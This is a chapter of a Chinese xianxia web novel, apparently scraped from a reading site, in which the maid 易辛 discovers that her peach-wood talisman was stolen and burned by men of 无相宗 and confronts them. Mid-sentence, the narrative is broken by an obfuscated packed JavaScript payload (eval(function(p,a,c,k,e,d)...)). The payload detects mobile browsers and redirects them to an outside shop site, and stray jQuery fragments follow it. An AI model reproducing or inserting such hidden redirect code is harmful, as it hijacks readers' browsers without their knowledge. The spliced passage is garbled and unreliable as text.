46. 第十五章

作品:《我不覆辙

    喧闹大街上,易张稚端详刚买的珠翠:“祁庄主会喜欢这些东西吗?感觉她不像在意妆面首饰的人。”


    易辛摇头:“我每回见到庄主时,她穿戴的珠钗都不同,而且和每套衣裳都很协调,说明这是她精心挑选搭配的。所以我觉得,倘若你要送她东西,她会喜欢首饰胭脂的。”


    易张稚再看珠翠几分,转头去望易辛:“你很细心,我都没注意到她的衣裳首饰有何不同。我以为她平日里降妖除魔,和寻常女子不同,不会喜欢这些繁琐的物什。”


    易辛:“……”


    易辛:“庄主肩负职责,也不妨碍她有爱美之心呀,两者不冲突。”


    末了,她又好奇道:“你既然没注意到这些,那你平素看她时注意到了什么?”


    易张稚:“她很漂亮。每日都很好看。和旁人说笑时好看、谈事时的严肃认真、施展术法时流畅的身姿……”


    她身上的每一寸都那么美好。


    所以他根本没注意到发钗首饰。


    一见钟情呐……易辛感慨着,又想想可能男子与女子的思考方式不同,最后笑道:“这句话你可以直接告诉她,方才的珠钗首饰之言就不必了。”


    易张稚认真点头,向易辛道谢:“谢谢你。帮我挑礼物,还提供了吃饭的地方。”


    “公子客气了。你平日还教我射箭呢,况且庄主待我们素来很好。”


    那日祁有为帮易张稚上药后,问道该如何感谢上次搭救之恩。易张稚道身上有伤后,需要清淡饮食,祁有为是南方人,便希望她做一顿南方菜肴。


    仙门齐聚甘华门,厨房十分忙碌,祁有为不好意思占着一个厨房耽搁大家的事,这时易辛便想到了白三清在芙蓉镇租下来的屋子。


    得到白三清首肯后,易辛便把易张稚带去那片地方。


    走到宅院门口,易辛朝易张稚笑道:“庄主应该在屋中备菜,那我就先告退了。”


    最后易张稚朝易辛再次道谢。


    一处寝屋内,桌上摆着香炉,烟雾袅袅,渐而向上时,凝成一小块幕布,其间画面闪烁。


    昏暗山洞内,易辛举起箭矢,猛地扎向流双。


    一柄剑来,折断箭矢,前半截擦着易辛飞入不知何处。


    画面到此处,烟雾消散。


    钱备拿起从甘华门要来查看的前半截箭矢,目光深不可测,直到门外响起敲门声。


    “进。”


    弟子李冲进门,说话之前率先合上了门,再恭敬行至钱备面前,从衣襟里拿出一截光秃秃的木头:“宗主,这便是那侍女精心呵护的木头。”


    “易张稚和那侍女都出去了?”


    “是,他们没发现。”


    钱备拿过桃木,观其外表,毫无异处,再注入灵力时,桃木没有丝毫反应。他不禁皱起了眉。


    李冲问道:“宗主,它难道只是一截普通木头?”


    钱备再举起箭矢:“这只木箭虽失了效力,但还蕴藏了几分气息,如果不是隐士高人留下的,便是哪位上神之物。”


    “那侍女连修仙术法都不会,还能得到神仙留下的东西?”


    “人的际遇,谁又说得准?”钱备捏起桃木,“箭是木头制成的,它也是木头,但一点反应也没有。”


    钱备眯起眼睛:“如果最后研究不出什么,就把它烧了。”


    一夜过去,钱备始终没激发出任何东西,只得唤来李冲,让他盯着把木头销毁得一干二净。


    吩咐完,钱备换过一身衣服,去赴门派会议。


    这几日总是开会开会,他隐隐不耐,不知李纳川那个老头子怎么有那么多事要说,真把鸡毛当令箭了。


    但他转念一想,仙首之位李纳川也做不了几日了,于是他又深深吐出一口气,决定大发慈悲地再忍几日。


    李冲拿上桃木,准备前去销毁,半路却遇见了宿醉的钱衡。


    “你手上拿的什么?木头?”钱衡喝完酒后,语气有些冲。


    李冲向钱衡行礼,观他一副神智不清的模样,不想惹麻烦上身,便搬出了钱备:“宗主吩咐弟子烧掉。”


    一听“宗主”二字,钱衡神色清明几分:“我爹烧一截木头做什么?它有何用?”


    “宗主研究了许久,发觉它没用,便打算烧了。”


    钱衡盯着木头,知道这是钱备的习惯,以往发现什么东西,总会研究一番,若是无用,便销毁。


    他想起前几日惹他爹生气,若是能将功补过……


    “你把木头给我,我来研究研究。”


    李冲犹豫了:“这……”


    钱衡一瞪:“我说给我就给我,反正也没用了,我研究一番不行?!你敢忤逆我?”


    纠结片刻,在钱衡施压之下,李冲还是把木头给了钱衡。


    日光大盛,易辛悠悠转醒,先洗漱一番,再去院墙下给花草浇水。


    易张稚之前说,在望天谷看日出很美妙,如今一夜未归,也不知是不是拉着祁有为去看日出了。


    易辛放下水瓢,再回屋子,打算把锁在柜子里的桃木摆出来晒晒太阳。


    站在柜门前时,易辛顿住了,隐隐有些异样。


    她看着锁住门柜的锁。


    昨日出门时,她走得匆忙,锁似乎被她带歪了,如今却端端正正地垂下。


    易辛不禁屏住呼吸,插钥匙、拔锁、用力拉门——


    柜子里放着盆栽,桃木光秃秃的,日光照出清晰的斑痕。


    她顿了片刻,再拿出盆栽,仔细端详,一切正常。


    忽然,她抽出桃木,放在手心用力一摁,霎时间断成两截……连带着她似乎也被撇成了两半。


    桃木是折不断的。


    骤然间,易辛头皮发麻,心如擂鼓,每次跳动,都掀起一片尖锐的疼痛和恐惧。


    盆栽坠落,啪地清脆声响中,瓦片炸裂,覆土散落一地。


    易辛撑在柜门上,忍住刺痛,努力调整气息。


    有人趁着她外出,拿走了桃木。


    是谁?


    为什么?


    如果桃木毁了……


    易辛面色惨白,眼眶因为愤恨染了红,捏紧手中断木,跑出了房门。


    白三清正和余桓在房里争地盘,忽闻急促的敲门声,两人对视一眼,白三清立马化作青烟钻入乾坤袋里。


    余桓上前开门,看见脸色难看的易辛:“易辛?你——”


    易辛抢先开口:“师兄,小白在吗?我想让她帮我追一个味道。”


    余桓让易辛先进来,再关上门。白三清时刻注意着外边的动静,一听是易辛来了,又跑出乾坤袋:“追什么味道?”


    看清易辛脸色,白三清大骇:“你怎么了?!病了?”


    易辛不答反问:“之前我让你记住桃木的味道,你现在能闻出它的踪迹吗?”


    以防万一,易辛和白三清一路游玩过来时,让她闻过几次桃木,就怕出现今日的情形。


    白三清点


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997840|191107||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    点头,易辛再转向余桓:“师兄,可否请你带上乾坤袋,让小白呆在乾坤袋里,但是不系口,她还能闻到外面的味道吧?也不会被仙门其他人发现?”


    余桓颔首。


    事不迟疑,三人出发,最后一路追踪到了无相宗下榻的院落门前。


    “无相宗?”余桓面色凝重,“他们拿了你的东西?”


    易辛觉得意外,又觉情理之中,侧首对他说道:“师兄,你带小白回去吧,再深入有可能被发现,若是无相宗知道了小白的存在,可能对她不利。”


    余桓:“你和我一起回去,我们先把小白放下,再来问无相宗要东西。”


    “不行,我等不了。如果我应付不了,会向你求助的。毕竟我也没办法和他们硬碰硬。”


    余桓还是不放心,但再掰扯下去,也是耽误易辛时间,最后只好应她要求施术变了一个食盒。


    “可是你怎么确定是谁拿了你的东西?无相宗那么多人。”余桓问道。


    易辛拿出那截假桃木:“师兄能否再帮我一个忙?”


    她赌偷东西的人没有隐去自己气息。


    易辛提着食盒走向门口,被无相宗的人拦了下来。


    易辛:“各位师兄,我奉命来送些点心。”


    甘华门每日都会给各门派送食物,除去正餐,还有特色小点。易辛对整套流程十分熟悉,加上穿了甘华门侍女的衣裳,最后得了应允入门。


    侍女们对个人居住的地方驾轻就熟,于是一般无人引导。


    易辛抬眼看着余桓追踪气息的灵蝶,见它朝一处地方飞去,抬步跟上。


    一路转过几道长廊,灵蝶飞入一间屋子,易辛赶紧小跑两步。


    屋内,李冲正面朝钱衡说话,没注意一只灵蝶飞进了身体里,对面的钱衡倒是忽然怔住。


    李冲顺着视线望去,眼睛微微瞪大,是易辛。


    易辛没有错过灵蝶的去向以及他惊讶的神情,但是她不确定了——她不认识此人,他为什么要偷自己的东西,是钱衡指使的?


    短短一瞬间,易辛忽然瞥到屋子中央的火盆。


    如今正是夏季,屋内生火太奇怪。


    蓦地,一股寒意自脚底而起,几乎让易辛颤栗起来。


    “你谁啊?来做什么?”钱衡拧眉问道,又疑惑起来,“……我好像见过你。”


    易辛恍若未闻,冲向火盆,手几乎要伸进去了,却被李冲猛地拉住,甩在地上。


    李冲高声喝止:“你干什么!”


    钱衡顿觉此女有病,刚想骂人,脑子里忽然想起什么:“你……你是那个——”


    他想起来了,是那个被他抓去喂茧妖的甘华门侍女,但他及时止住了话头。一旦说出口,那就是认罪……好险,差点祸从口出。


    易辛不说话,满脑子只有火盆,刚被李冲掀在地上,又不管不顾地爬起来,再度去向火盆。


    钱衡莫名,不知她什么意思,但也有些心慌,因为他不久前把桃木扔进了火盆。


    他琢磨半天,本想将功补过,奈何实在搞不出个所以然,就被李冲盯着烧了。


    李冲自然知晓其中缘由,但没想到这么快就被易辛发现,还追到了这里。他连忙摁住易辛,斥责道:“你这侍女好大胆子,竟敢在这里作乱!”


    易辛用尽蛮力挣扎,瞪住李冲时,目光异常雪亮,仿佛从瞳孔深处燃起了两把火,她怒吼道:“你偷了我的东西!你是不是把它烧了!火盆里在烧什么!”